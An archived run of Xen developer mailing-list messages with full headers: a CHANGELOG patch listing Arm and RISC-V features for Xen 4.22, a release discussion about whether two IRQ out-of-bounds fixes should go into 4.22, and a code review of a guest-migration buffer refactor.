 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 06:43:15 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 38308e7fff4ca-39c84b854cesm26688741fa.27.2026.07.13.06.43.14
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 13 Jul 2026 06:43:14 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783950195; x=1784554995; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=AHAFX5d6Kn9+qaaTgP5OT5PfigaR15/Uc88+6WBjX00=;
        b=hkqDSl8Y3MIsZ7HHRI2+g8hh4LG15YtXhDT73xAh/dNlfHI2Mn0JEwuhThXG+1P7sQ
         LgBzKH/m8OWxikWQO9kX1rqYZH4tChHGmEAlh0f2UoyZ50RxS4+HZR/nT7OFTMojVBUp
         kpDWbvHxkhNMB9ypgQnyCGrOPjK0EwcDl7UFJpmLPPtxvPC4X9R9Sa862cX17d5OHi55
         mvIha0zTfo3N4TkwqKvvOgiiQYSkgeoVmEvjPoowSLojSdP4Bj5IaGfk0NgJMJwHI5sy
         G/14JkVEuksc1bw5zvLic3GeKkgtyO6+3dRQI3xMewBAY15gXlDKkz486EGkFnUmxyoF
         uXfg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783950195; x=1784554995;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=AHAFX5d6Kn9+qaaTgP5OT5PfigaR15/Uc88+6WBjX00=;
        b=LvfnhI1ccv6ykeaTVt/FBdekzgOBci0ZpFz09Hv7WSBnpLfWcILaYcYDeN1X6NawjE
         ZZftoDocTd83w5gzVmfYA66/3C3BKnb+E0BrNfNX5KQYAgNLzSFkcepI3y+mzYYKSusn
         f5tYipdSNFPVcRgZlF6YFz4WD7eA0pXyMK3vAH2iJJXFMnueb1+hkEIRWr89xqA29eEu
         EA5K8IdhVRRDSO49kuMhjxTCqkp0ruVnUclfSysJ2+DQX6JKeylUNkVhdmAK+5B6ws1d
         JBGgh7EvWo5+CtNJex1ORvqhazgMv1Hy/oZP72AqyPayd+Gqix+OT2e/RGOcs14HXZb7
         NuKg==
X-Gm-Message-State: AOJu0YxD4/PaI1Tad3qwx+RMikljB2PUXMWI8zh+sUJ5skv3nouAItj2
	/MpC0ducr58652a/CEXSdsuNGEfTuLpIkz+i7gDccS17B+k+gYJTVLGroae6lQ==
X-Gm-Gg: AfdE7ck/ZWIl6ViOUDjqC9zWT2X8mMtS9Y38WBtP1hll0tF80S51gOvJTwJB7mjZYgl
	rMGWxeL0CHm/a3q0QPO1/U2PKnAe/gSUT5HKdypTCOYS9P+fNursFACbm8DouRz0rqWUcc2m/Yk
	Vlt4XOK6CXHrpZZBukg0vzpBnvn/x3r8N+PE0FoqRYicnGbCVg+KM3z3aksyoHrmQpVg84qvVDU
	k5fY/mSL4Z6hnQKUoDjYo//GLRgaA02ffXoS5G+TE24nWbGLePMWUFX5EQaXH4UMW2xEGLqB2/x
	ctB/BuR+eOxGhWSsYf0QBDrdcg3Aw7n9MYHOyJyWLy2EiT+3/w5XrfjiFclFuqPh9JJ1QXvrici
	ZmfZ+hywd9cPKj15943XsjtsaUi0uUpvgQdTe3r+wRPDkAW71SsERo9LqNN3KaVNJXwvd1C4nNL
	K+NcSIsLIJPmSML7X2zidivvIr/tGuIvRvpzK9cyOkjLYcBOFMUqp12YQYfQ==
X-Received: by 2002:a05:651c:4397:20b0:39c:74ef:1a96 with SMTP id 38308e7fff4ca-39caa89a171mr14793191fa.36.1783950195062;
        Mon, 13 Jul 2026 06:43:15 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Community Manager <community.manager@xenproject.org>,
	"committers @ xenproject . org" <committers@xenproject.org>
Subject: [PATCH] CHANGELOG: add Arm and RISC-V entries for 4.22
Date: Mon, 13 Jul 2026 15:43:07 +0200
Message-ID: <8087862a1149a8875b578c2b3d044919d8563a39.1783950107.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1783950196-7AE2701C-9202D5F4/10/73395122804
X-purgate-type: spam
X-purgate-size: 1031

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v2:
 - Address the comment from ML.
 - Reword second RISC-V's item.
---
---
 CHANGELOG.md | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/CHANGELOG.md b/CHANGELOG.md
index 356be88351a9..4dca8359cd4a 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -46,6 +46,15 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
  - On Arm:
    - Support for guest suspend and resume to/from RAM via vPSCI.
      Applies only to non-hardware domain guests.
+   - Continued Armv8-R MPU enablement.
+   - Drop ThumbEE support.
+   - FF-A v1.2 support.
+
+ - On RISC-V:
+   - SSTC extension support for Xen (not for guest yet).
+   - Introduce domain build helpers (CONFIG_DOMAIN_BUILD_HELPERS) which allows
+     to load Linux kernel, initrd and allocation related things forfor device
+     tree-based domains, laying the groundwork for guest boot support.
 
 ### Removed
  - On x86:
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 13:51:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 13:51:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361687.1613830 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjH49-00057J-5Y; Mon, 13 Jul 2026 13:51:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361687.1613830; Mon, 13 Jul 2026 13:51:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjH49-00057C-2f; Mon, 13 Jul 2026 13:51:25 +0000
Received: by outflank-mailman (input) for mailman id 1361687;
 Mon, 13 Jul 2026 13:51:24 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wjH48-000576-9F
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 13:51:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjH47-008Qfy-7g
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 15:51:23 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a54ed58-2eae-0a2a0a5409dd-0a2a450689f0-8
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 15:51:23 +0200
Received: from [209.85.167.51] (helo=mail-lf1-f51.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a54ed5a-0835-0a2a45060019-d155a733ccdc-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 15:51:23 +0200
Received: by mail-lf1-f51.google.com with SMTP id
 2adb3069b0e04-5aeb11c7347so2653944e87.0
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 06:51:23 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 38308e7fff4ca-39c84b13407sm27820531fa.12.2026.07.13.06.51.21
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 13 Jul 2026 06:51:21 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783950682; x=1784555482; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=4ff0EkN2TJXIY1rQ2tgdc647EOhcHItZ1JKqzkBdIWQ=;
        b=mFHmXu2fqin/MDPKslCBdP6Zi8h/mliYue3yHq3HUroWqtWl0IDIm4xTWsLILVyL12
         8AR7UzfHWi5gJ0Y2Lbvlgxq/CNdKqVz6EuV1u0NSBwwlVWrfPhdabbgyv+QK7XOwmvPF
         Sy+3vX9kY8QBdvOm4xwTlqQ1SrYdYY8UqMKcBXTepe4FFHDl5WK2H/GL0eK+wyGQCRVq
         Eh9VwqFvHECTALX74CtVIoU3tTUBpW9cyhjiBpyjrUbGeE2csBXLBOapHZWg4vGSRJ/0
         AeAFAmEm5M6RZn9bwteDogxH+SxQssL8wjW7JmjMa55H7JyjCrt4Lk2qRcTX8FvF/eix
         a6xg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783950682; x=1784555482;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=4ff0EkN2TJXIY1rQ2tgdc647EOhcHItZ1JKqzkBdIWQ=;
        b=jdImW2OV2+Cb+EaQ6Zw7C03IUdD4wRzND63a1hLJvIu6SBTIrLxYk2IZQ+IbNTpP1L
         ktP8RLbnPm2A6FDx38EuPignYVIxayp6Pyc4l2gAYGSpxSNBmWpCbiJSmtrgpqq7X7im
         9QHzgJvUOtGTlHhodSEsYgVH3w5Ha6gJSJ24aTQpn9NJ78y6+0Hdu6AsmG5EgmLHgKyH
         5Mq4F4FuO/gyysMhgWKhxH11jBtw+u9L5/rVFI76mLEg9cvBGRntEZbq5G0GPzzjqU7l
         zDyZx9McetqrNUdfhGQw4hctpmhd5SbbQ7bQ0GPxlOU67x9Y9QqrhkeatIDBPss0Q60a
         ae/g==
X-Forwarded-Encrypted: i=1; AHgh+RpfY3jlDFJZlkiQzLluMxcVnkx6tqShp1qsOEAylMmhIS2XnarlumVAb0anrVQ6HNaRChrREXyXeTk=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yx4n/wimVsMmi8p1cpQRjU6uZBc+ygEekOlPzhOkHt26QjUiGgA
	Mj7nNB4DXEBZDfPrDbGQ6H0Jdv7y4v1TrxsjUN4TVUfTqikNe6fJMp/MO2VwGw==
X-Gm-Gg: AfdE7cnt8C8X8IRfXqyOu62Uxy9Sa1x3BHF0tTTNhe3yTBynkVv994AD4ghnw4eNpnp
	bFpI8gwGL99VVzXwh6SaeSJRE1qgq5Hd/lC57lDmpmCru77z73fVsJJRYHrbLlp4icLBzT91Yng
	qIUmj2oQ5aKWqOZExt/rUx0GIAYPfJozk0A3OIAeFdhHi2+ygVcZfnGTbJXUJO8A957P5PKWJKD
	fa/Nspmz/kyhGK1xUvtS4bWKilliQT/JGeBIZpkqucY/6OJBEFGxv9SR+NTnw7b8Q17sb+TKMNB
	QVyLhA1VqBY2FVJ20CqJtUVseAycrkRzf8tN06Ca/PGjoARYe8/WW3b0daymklvrUENLD2UFROA
	oOh5eVZY8RLm9xACfyZkwwtSAA98I7+c8yXfe0MfSeYlF9n5OOTxSrTD7X/MrHtZ/D9Rem/fayk
	I1lLLmT63rAZgJ8dq5lbiQM8slfvMx9LlK4cN5eECCRK/ACURRUgTTyYODwC4nrtvsgyw=
X-Received: by 2002:a05:6512:158b:b0:5ae:be30:ecb1 with SMTP id 2adb3069b0e04-5b0236c9444mr1813032e87.65.1783950682277;
        Mon, 13 Jul 2026 06:51:22 -0700 (PDT)
Message-ID: <00c9a30c-fa0f-4dd9-bea2-15de27973f16@gmail.com>
Date: Mon, 13 Jul 2026 15:51:21 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22 1/2] xen/arm: validate IRQs before descriptor
 lookup
To: Mykola Kvach <xakep.amatop@gmail.com>
Cc: "Orzel, Michal" <michal.orzel@amd.com>, xen-devel@lists.xenproject.org,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
References: <cover.1783671887.git.mykola_kvach@epam.com>
 <1843da2e028635773638ef73ed10907c7ae7bb53.1783671887.git.mykola_kvach@epam.com>
 <e6468083-f901-4a1e-94d5-d347068fabf0@amd.com>
 <2ba97094-c9c8-461b-adc4-64cca978dd6a@amd.com>
 <u46k277cxsw53rb2d4pnxksbbwr35rjp54vwxqm2phbrp2ywll@etlvezzojxvi>
 <9a75baf4-b889-4f2d-8cfa-d8a229411b68@gmail.com>
 <CAGeoDV-wPnhUuC2XRndZNEJOSAC2-tkkTpUi-jKCRn5eiQG6Cw@mail.gmail.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <CAGeoDV-wPnhUuC2XRndZNEJOSAC2-tkkTpUi-jKCRn5eiQG6Cw@mail.gmail.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1783950683-502B7617-229AF516/10/73395122804
X-purgate-type: spam
X-purgate-size: 2948

Hello Mykola,

On 7/13/26 12:46 PM, Mykola Kvach wrote:
> Hi Oleksii,
> 
> Thank you for the review.
> 
> On Mon, Jul 13, 2026 at 10:39â€¯AM Oleksii Kurochko
> <oleksii.kurochko@gmail.com> wrote:
>>
>>
>>
>> On 7/10/26 1:48 PM, Mykola Kvach wrote:
>>> On Fri, Jul 10, 2026 at 12:44:44PM +0200, Orzel, Michal wrote:
>>>> On a tangent note:
>>>> I can see that you pushed quite a few "for-4.22" patches. We are approaching the
>>>> release, so afaict at this point we should only be taking crucial bug fixes.
>>>> Moreover, when sending "for-X" patches, please include a description with your
>>>> analyzed pros/cons of taking a patch in.
>>>
>>> Ack. I understand. For this patch specifically, I consider it a crucial
>>> fix for 4.22 for the following reasons:
>>>
>>> Pros:
>>> - It prevents an out-of-bounds irq_desc[] access which may corrupt Xen
>>>     memory or crash the hypervisor.
>>> - The issue was introduced by eSPI support already present in 4.22.
>>> - The change is small, and valid IRQ handling remains unchanged.
>>> - I tested CONFIG_GICV3_ESPI=y and CONFIG_GICV3_ESPI=n builds and
>>>     reproduced the issue on FVP using a fake DT interrupt with reserved
>>>     INTID 3000.
>>>
>>> Cons:
>>> - The trigger requires either a malformed DT interrupt specifier, such
>>>     as reserved INTID 3000, or an eSPI unsupported by the Xen build.
>>> - The demonstrated failure used deliberate fault injection rather than
>>>     a reported production failure.
>>> - The patch adds validation to common Arm IRQ setup paths, although
>>>     valid IRQs continue through the same path as before.
>>>
>>> Assessment:
>>> The hypervisor memory-safety impact and the presence of the affected
>>> eSPI code in 4.22 outweigh the limited regression risk.
>>>
>>> I will include this kind of pros/cons analysis with future for-X
>>> submissions.
>>
>> It doesn't seem as critical. IIUC, exploiting this issue requires
>> providing a malformed DT interrupt specifier. If the DT interrupt
>> specifier is valid, the system should behave correctly.
>>
>> Given that we are very close to the release, I think it would be better
>> to proceed without these changes. If the issue proves to be critical, we
>> can backport the fixes afterward.
> 
> Okay, thanks.
> 
> What do you think about the second patch in this series? I believe it
> is more critical. Unlike the first issue, it can be triggered with a
> valid eSPI configuration: freeing a valid eSPI uses the raw INTID as
> the bitmap index, causing an out-of-bounds access that may corrupt
> memory.
> 
> Could it still be considered for 4.22?

I agree that the second patch is more critical, but I don't think it 
should block the release. It would be good to include if possible, but I 
don't see it as a release blocker.

Maintainers, what do you think about taking the second patch for this 
release?

~ Oleksii




From xen-devel-bounces@lists.xenproject.org Mon Jul 13 13:55:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 13:55:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361697.1613838 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjH7q-0005dx-LD; Mon, 13 Jul 2026 13:55:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361697.1613838; Mon, 13 Jul 2026 13:55:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjH7q-0005dq-I2; Mon, 13 Jul 2026 13:55:14 +0000
Received: by outflank-mailman (input) for mailman id 1361697;
 Mon, 13 Jul 2026 13:55:13 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f5bc2a26f000edb5@swg.vates.tech>)
 id 1wjH7p-0005dk-5b
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 13:55:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjH7o-008RHG-Fs
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 15:55:12 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f5bc2a26f000edb5@swg.vates.tech>)
 id 6a54ee3f-e002-0a2a0a5209dd-0a2a4508c99a-4
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 15:55:12 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f5bc2a26f000edb5@swg.vates.tech>)
 id 6a54ee3f-ee29-0a2a45080019-b9ff1c238a59-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 15:55:11 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f5bc2a26f000edb5.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Mon, 13 Jul 2026 13:55:10 +0000
Received: from l14 (unknown [82.67.99.167])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 254AB821D3;
 Mon, 13 Jul 2026 15:55:09 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=JxuKTnw+3Scd+jD1piFqi7kwZau9ERw4HH3WfPsNKw0=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=RjLOoHRhsqikMz7MOcH2v4qMjT11P18Zs2T9kwiLVT2uXTav2MjwU2+xXP8uT0tzck7Mb1qR4
 9j2Lb1y7Sm97+hjXqe+05fLhboF69s2dXwSgyM+f/SexWQrI5Y3mFdy8HPSuEa+kbe/QhDqszkq
 H7QD1+sCMF/vGV0dbhg5oTRjNTnIgm+OX9g2eO48SbaLmHAKCRCzLGHEMqaYANktMrA9vZum9Vu
 wEotzrql13+V/RbduGnwFpRPvZ0BatHTErM1TzeL7hI2MSf6cUaHTjvf/dnIV7paCSPTJPr5+cY
 73CXHegzFzIXbGB8TPEpPBZhRn9PprixUJepDc+t3BRw==
X-Zone-Loop: 1998f095f7be434c49f1e0ccd2733a25d2e4bae33f85
x-campaign-type: default
x-transaction-id: 782d4732-8626-4bc0-af0b-def8b46ac434
x-swg-uid: 01-7f039a60-91e6-428d-945e-222fffbe3ebb
X-Mailer: Sweego
Message-ID:
 <1783950910.8631fc262581453bbf619ec5b2062170.19f5bc2a26f000edb5@vates.tech>
x-swg-bid: 1783950910.8631fc262581453bbf619ec5b2062170.19f5bc2a26f000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Mon, 13 Jul 2026 15:55:08 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: Re: [PATCH v8 2/4] libs/guest: move batch_pfns into a separate
 structure
References: <20260711212128.505727-1-frediano.ziglio@citrix.com>
 <20260711212128.505727-3-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260711212128.505727-3-frediano.ziglio@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.70e.83b9eed0e9994db4.19f5bc29fa4.2da22b2ecd2a5056=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783950909348
X-purgate-ID: tlsNG-c1860d/1783950911-12D6A01C-A5FCA712/0/0
X-purgate-type: clean
X-purgate-size: 2191

---=Part.70e.83b9eed0e9994db4.19f5bc29fa4.2da22b2ecd2a5056=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Sat, Jul 11, 2026 at 10:21:26PM +0100, Frediano Ziglio wrote:
> Prepare for following change=2E

The "following change" is likely going to be unrelated, as patches of a
series can be committed at different time=2E So you need to name the patch
for which this is a preparatory change=2E Something like:

    Preparation for a followup patch "libs/guest: allocate various
    migration arrays just once"=2E

> diff --git a/tools/libs/guest/xg_sr_save=2Ec b/tools/libs/guest/xg_sr_sa=
ve=2Ec
> index 84fdbe4140=2E=2Ee7c22e6500 100644
> --- a/tools/libs/guest/xg_sr_save=2Ec
> +++ b/tools/libs/guest/xg_sr_save=2Ec
> @@ -75,7 +75,7 @@ static int write_checkpoint_record(struct xc_sr_contex=
t *ctx)
> =20
>  /*
>   * Writes a batch of memory as a PAGE_DATA record into the stream=2E  T=
he batch
> - * is constructed in ctx->save=2Ebatch_pfns=2E
> + * is constructed in ctx->save=2Ebuffers->batch_pfns=2E
>   *
>   * This function:
>   * - gets the types for each pfn in the batch=2E
> @@ -95,6 +95,7 @@ static int write_batch(struct xc_sr_context *ctx)
>      void *page, *orig_page;
>      uint64_t *rec_pfns =3D NULL;
>      struct iovec *iov =3D NULL; int iovcnt =3D 0;
> +    xen_pfn_t *const batch_pfns =3D ctx->save=2Ebuffers->batch_pfns;
>      struct {
>          struct xc_sr_rhdr rec;
>          struct xc_sr_rec_page_data_header page_data;
> @@ -110,6 +111,8 @@ static int write_batch(struct xc_sr_context *ctx)
>      };
> =20
>      assert(nr_pfns !=3D 0);
> +    assert(nr_pfns <=3D MAX_BATCH_SIZE);
> +    assert(ctx->save=2Ebuffers);

This second assert is a bit useless, we already used the pointer, so we
know it's valid=2E

With that removed, and the commit message adjusted, which could be done
while committing:
Reviewed-by: Anthony PERARD <anthony=2Eperard@vates=2Etech>

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.70e.83b9eed0e9994db4.19f5bc29fa4.2da22b2ecd2a5056=---


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 15:24:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 15:24:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361738.1613848 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjIW7-00080r-Lu; Mon, 13 Jul 2026 15:24:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361738.1613848; Mon, 13 Jul 2026 15:24:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjIW7-00080j-Il; Mon, 13 Jul 2026 15:24:23 +0000
Received: by outflank-mailman (input) for mailman id 1361738;
 Mon, 13 Jul 2026 15:24:22 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f5c143537000edb5@swg.vates.tech>)
 id 1wjIW6-00080d-PI
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 15:24:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjIW5-005PX5-OU
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 17:24:21 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f5c143537000edb5@swg.vates.tech>)
 id 6a550318-e002-0a2a0a5209dd-0a2a4505c3ce-38
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 17:24:21 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f5c143537000edb5@swg.vates.tech>)
 id 6a550325-4f1d-0a2a45050019-b9ff1c22a76d-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 17:24:21 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f5c143537000edb5.006 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Mon, 13 Jul 2026 15:24:16 +0000
Received: from l14 (unknown [82.67.99.167])
